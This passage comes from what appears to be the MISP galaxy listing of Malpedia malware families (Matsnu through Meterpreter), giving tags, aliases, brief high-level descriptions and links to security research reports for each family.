The tag is: *misp-galaxy:malpedia="Matsnu"*

Matsnu is also known as:

Table 2572. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu
https://blog.checkpoint.com/wp-content/uploads/2015/07/matsnu-malwareid-technical-brief.pdf

Maudi

Specialized PoisonIvy Sideloader.

The tag is: *misp-galaxy:malpedia="Maudi"*

Maudi is also known as:

Table 2573. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2012/NormanShark-MaudiOperation.pdf
https://contagiodump.blogspot.com/2010/06/may-28-cve-2009-3129-xls-for-office.html

Maui Ransomware

The tag is: *misp-galaxy:malpedia="Maui Ransomware"*

Maui Ransomware is also known as:

Table 2574. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maui
https://www.cisa.gov/uscert/ncas/alerts/aa22-187a
https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/
https://www.cisa.gov/uscert/sites/default/files/publications/aa22-187a-north-korean%20state-sponsored-cyber-actors-use-maui-ransomware-to-target-the-hph-sector.pdf
https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf

Maxtrilha

Banking trojan written in Delphi, targeting customers of European and South American banks.

The tag is: *misp-galaxy:malpedia="Maxtrilha"*

Maxtrilha is also known as:

Table 2575. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maxtrilha
https://seguranca-informatica.pt/the-new-maxtrilha-trojan-is-being-disseminated-and-targeting-several-banks/.YT3_VfwzaKN[https://seguranca-informatica.pt/the-new-maxtrilha-trojan-is-being-disseminated-and-targeting-several-banks/.YT3_VfwzaKN]

Maze

Maze Ransomware encrypts files and makes them inaccessible while adding a custom extension containing part of the ID of the victim. The ransom note is placed inside a text file and an htm file. There are a few different extensions appended to files which are randomly generated.

Actors are known to exfiltrate the data from the network for further extortion. It spreads mainly using email spam and various exploit kits (Spelevo, Fallout).

The code of Maze ransomware is highly complicated and obfuscated, which helps to evade security solutions using signature-based detections.

The tag is: *misp-galaxy:malpedia="Maze"*

Maze is also known as:

- ChaCha

Table 2576. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.maze
https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://news.sophos.com/en-us/2020/05/12/maze-ransomware-1-year-counting/
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md
https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html
https://www.secureworks.com/research/threat-profiles/gold-village
https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/
https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/
https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://web.archive.org/save/https://news.cognizant.com/2020-04-18-cognizant-security-update
https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf
https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/
https://www.zdnet.com/article/ransomware-gang-publishes-tens-of-gbs-of-internal-data-from-lg-and-xerox/
https://blogs.quickheal.com/maze-ransomware-continues-threat-consumers/
https://securelist.com/targeted-ransomware-encrypting-data/99255/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf
https://killbit.medium.com/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://sites.temple.edu/care/ci-rw-attacks/
https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/
https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/
https://blog.talosintelligence.com/2019/12/IR-Lessons-Maze.html

https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/
https://media-exp1.licdn.com/dms/document/C4E1FAQHyhJYCWxq5eg/feedshare-document-pdf-analyzed/0?e=1584129600&v=beta&t=9wTDR-mZPDF4ET7ABNgE2ab9g8e9wxQrhXsxI1cSX8U
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://adversary.crowdstrike.com/adversary/twisted-spider/
https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html
https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/
https://www.cityofpensacola.com/DocumentCenter/View/18879/Deloitte-Executive-Summary-PDF
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://twitter.com/certbund/status/1192756294307995655
https://oag.ca.gov/system/files/Letter%204.pdf
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf
https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/
http://www.secureworks.com/research/threat-profiles/gold-village
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://www.docdroid.net/dUpPY5s/maze.pdf

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://securelist.com/maze-ransomware/99137/
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/
https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://www.bleepingcomputer.com/news/security/chipmaker-maxlinear-reports-data-breach-after-maze-ransomware-attack/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/
https://www.brighttalk.com/webcast/7451/408167/navigating-maze-analysis-of-a-rising-ransomware-threat
https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/
https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide
https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/
https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/
https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/
https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/
https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/

https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/
https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker
https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/
https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/
https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us
https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/

MBRlock

```
This ransomware modifies the master boot record of the victim's computer so that it
shows a ransom note before Windows starts.
```

The tag is: *misp-galaxy:malpedia="MBRlock"*

MBRlock is also known as:

- DexLocker

Table 2577. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock
http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html
https://app.any.run/tasks/0a7e643f-7562-4575-b8a5-747bd6b5f02d
https://www.bleepingcomputer.com/news/security/dexcrypt-mbrlocker-demands-30-yuan-to-gain-access-to-computer/
https://www.hybrid-analysis.com/sample/dfc56a704b5e031f3b0d2d0ea1d06f9157758ad950483b44ac4b77d33293cb38?environmentId=100

MBR Locker

Ransomware overwriting the system's MBR, making it impossible to boot into Windows.

The tag is: *misp-galaxy:malpedia="MBR Locker"*

MBR Locker is also known as:

Table 2578. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker
https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html

Mebromi

The tag is: *misp-galaxy:malpedia="Mebromi"*

Mebromi is also known as:

- MyBios

Table 2579. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi
https://www.symantec.com/connect/blogs/bios-threat-showing-again
https://www.webroot.com//blog/2011/09/13/mebromi-the-first-bios-rootkit-in-the-wild/
http://www.theregister.co.uk/2011/09/14/bios_rootkit_discovered/
http://contagiodump.blogspot.com/2011/09/mebromi-bios-rootkit-affecting-award.html

MECHANICAL

The tag is: *misp-galaxy:malpedia="MECHANICAL"*

MECHANICAL is also known as:

- GoldStamp

Table 2580. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mechanical
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/

Medre

The tag is: *misp-galaxy:malpedia="Medre"*

Medre is also known as:

Table 2581. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medre
http://contagiodump.blogspot.com/2012/06/medrea-autocad-worm-samples.html

Medusa (Windows)

Medusa is a DDoS bot written in .NET 2.0. In its current incarnation its C&C protocol is based on HTTP, while its predecessor made use of IRC.

The tag is: *misp-galaxy:malpedia="Medusa (Windows)"*

Medusa (Windows) is also known as:

Table 2582. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa
https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/
https://news.drweb.com/show/?i=10302&lng=en

MedusaLocker

A Windows ransomware that will run certain tasks to prepare the target system for the encryption of files. MedusaLocker avoids executable files, probably to avoid rendering the targeted system unusable for paying the ransom. It uses a combination of AES and RSA-2048, and reportedly appends extensions such as .encrypted, .bomber, .boroff, .breakingbad, .locker16, .newlock, .nlocker, and .skynet.

The tag is: *misp-galaxy:malpedia="MedusaLocker"*

MedusaLocker is also known as:

- AKO Doxware
- AKO Ransomware
- MedusaReborn

Table 2583. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/
https://www.cybereason.com/blog/medusalocker-ransomware
https://www.theta.co.nz/news-blogs/cyber-security-blog/part-1-analysing-medusalocker-ransomware/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.theta.co.nz/news-blogs/cyber-security-blog/part-3-analysing-medusalocker-ransomware/
https://dissectingmalwa.re/try-not-to-stare-medusalocker-at-a-glance.html
http://id-ransomware.blogspot.com/2019/10/medusalocker-ransomware.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-181a
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf
https://blog.talosintelligence.com/2020/04/medusalocker.html
https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html
https://twitter.com/siri_urz/status/1215194488714346496?s=20
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.mandiant.com/resources/chasing-avaddon-ransomware
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.theta.co.nz/news-blogs/cyber-security-blog/part-2-analysing-medusalocker-ransomware/

MegaCortex

Megacortex is a ransomware used in targeted attacks against corporations. Once the ransomware is run it tries to stop security related services and after that it starts its own encryption process adding a .aes128ctr or .megac0rtx extension to the encrypted files. It is used to be carried from downloaders and trojans, it has no own propagation capabilities.

The tag is: *misp-galaxy:malpedia="MegaCortex"*

MegaCortex is also known as:

Table 2584. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex
https://www.bleepingcomputer.com/news/security/elusive-megacortex-ransomware-found-here-is-what-we-know/
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://news.sophos.com/en-us/2019/05/10/megacortex-deconstructed-mysteries-mount-as-analysis-continues/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.computing.co.uk/ctg/news/3084818/warning-over-lockergoga-and-megacortex-ransomware-attacks-targeting-private-industry-in-western-countries
https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure
https://news.sophos.com/en-us/2019/05/03/megacortex-ransomware-wants-to-be-the-one/
https://blog.malwarebytes.com/detections/ransom-megacortex/
https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://threatpost.com/megacortex-ransomware-mass-distribution/146933/
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/
https://www.bleepingcomputer.com/news/security/new-megacortex-ransomware-changes-windows-passwords-threatens-to-publish-data/

https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.trendmicro.com/vinfo/pl/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks

MeguminTrojan

Megumin Trojan, is a malware focused on multiple fields (DDoS, Miner, Loader, Clipper).

The tag is: *misp-galaxy:malpedia="MeguminTrojan"*

MeguminTrojan is also known as:

Table 2585. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://fumik0.com/2019/05/03/lets-nuke-megumin-trojan/

Mekotio

The tag is: *misp-galaxy:malpedia="Mekotio"*

Mekotio is also known as:

Table 2586. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mekotio
https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf
http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853
https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/rooty-dolphin-uses-mekotio-to-target-bank-clients-in-south-america-and-europe/
https://research.checkpoint.com/2021/mekotio-banker-returns-with-improved-stealth-and-ancient-encryption/

https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/
https://twitter.com/hpsecurity/status/1509185858146082816
https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/

Melcoz

The tag is: *misp-galaxy:malpedia="Melcoz"*

Melcoz is also known as:

Table 2587. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.melcoz
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/

Meow

Ransomware, based on leaked Conti source code.

The tag is: *misp-galaxy:malpedia="Meow"*

Meow is also known as:

Table 2588. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.meow
https://id-ransomware.blogspot.com/2022/09/meow-ransomware.html

MercurialGrabber

The tag is: *misp-galaxy:malpedia="MercurialGrabber"*

MercurialGrabber is also known as:

Table 2589. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mercurialgrabber
https://github.com/NightfallGT/Mercurial-Grabber
https://twitter.com/Arkbird_SOLG/status/1432127748001128459

Merlin

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

The tag is: *misp-galaxy:malpedia="Merlin"*

Merlin is also known as:

Table 2590. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.merlin
http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html
https://github.com/Ne0nd0g/merlin
http://lockboxx.blogspot.com/2018/02/intro-to-using-gscript-for-red-teams.html

Mespinoza

Mespinosa is a ransomware which encrypts file using an asymmetric encryption and adds .pysa as file extension. According to dissectingmalware the extension "pysa" is probably derived from the Zanzibari Coin with the same name.

The tag is: *misp-galaxy:malpedia="Mespinoza"*

Mespinoza is also known as:

- pysa

Table 2591. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza
https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/
https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/
https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/
https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf
https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html
http://www.secureworks.com/research/threat-profiles/gold-burlap
https://www.ic3.gov/Media/News/2021/210316.pdf
https://twitter.com/campuscodi/status/1347223969984897026
https://twitter.com/inversecos/status/1456486725664993287
https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html
https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware
https://www.lacework.com/blog/pysa-ransomware-gang-adds-linux-support/
https://www.zdnet.com/article/france-warns-of-new-ransomware-gang-targeting-local-governments/

MetadataBin

Ransomware.

The tag is: *misp-galaxy:malpedia="MetadataBin"*

MetadataBin is also known as:

- Ransomware32

Table 2592. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.metadatabin
https://id-ransomware.blogspot.com/2020/10/metadata-bin-ransomware.html

METALJACK

The tag is: *misp-galaxy:malpedia="METALJACK"*

METALJACK is also known as:

- denesRAT

Table 2593. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.metaljack
https://www.youtube.com/watch?v=ftjDH65kw6E
https://s.tencent.com/research/report/944.html
https://m.threatbook.cn/detail/2527
https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf
https://www.secrss.com/articles/17900
https://ti.qianxin.com/blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/
https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html

Metamorfo

The tag is: *misp-galaxy:malpedia="Metamorfo"*

Metamorfo is also known as:

- Casbaneiro

Table 2594. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.metamorfo

https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767
https://blog.talosintelligence.com/2018/11/metamorfo-brazilian-campaigns.html
https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf
https://cofense.com/blog/autohotkey-banking-trojan/
https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html
https://blog.ensilo.com/metamorfo-avast-abuser
https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md
https://www.bitdefender.com/files/News/CaseStudies/study/333/Bitdefender-PR-Whitepaper-Metamorfo-creat4500-en-EN-GenericUse.pdf
https://twitter.com/MsftSecIntel/status/1418706916922986504

MetaStealer

The tag is: *misp-galaxy:malpedia="MetaStealer"*

MetaStealer is also known as:

Table 2595. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer
https://ke-la.com/information-stealers-a-new-landscape/
https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem
https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/

Meteor

A wiper used in an attack against the Iranian train system.

The tag is: *misp-galaxy:malpedia="Meteor"*

Meteor is also known as:

Table 2596. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.meteor
https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/
https://threatpost.com/novel-meteor-wiper-used-in-attack-that-crippled-iranian-train-system/168262/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://twitter.com/*cpresearch*/status/1541753913732366338[https://twitter.com/*cpresearch*/status/1541753913732366338]
https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/

Meterpreter (Windows)

The tag is: *misp-galaxy:malpedia="Meterpreter (Windows)"*

Meterpreter (Windows) is also known as:

Table 2597. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter
https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine
https://explore.group-ib.com/htct/hi-tech_crime_2018
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services
https://redcanary.com/blog/getsystem-offsec/
https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf
https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea
https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence
https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf
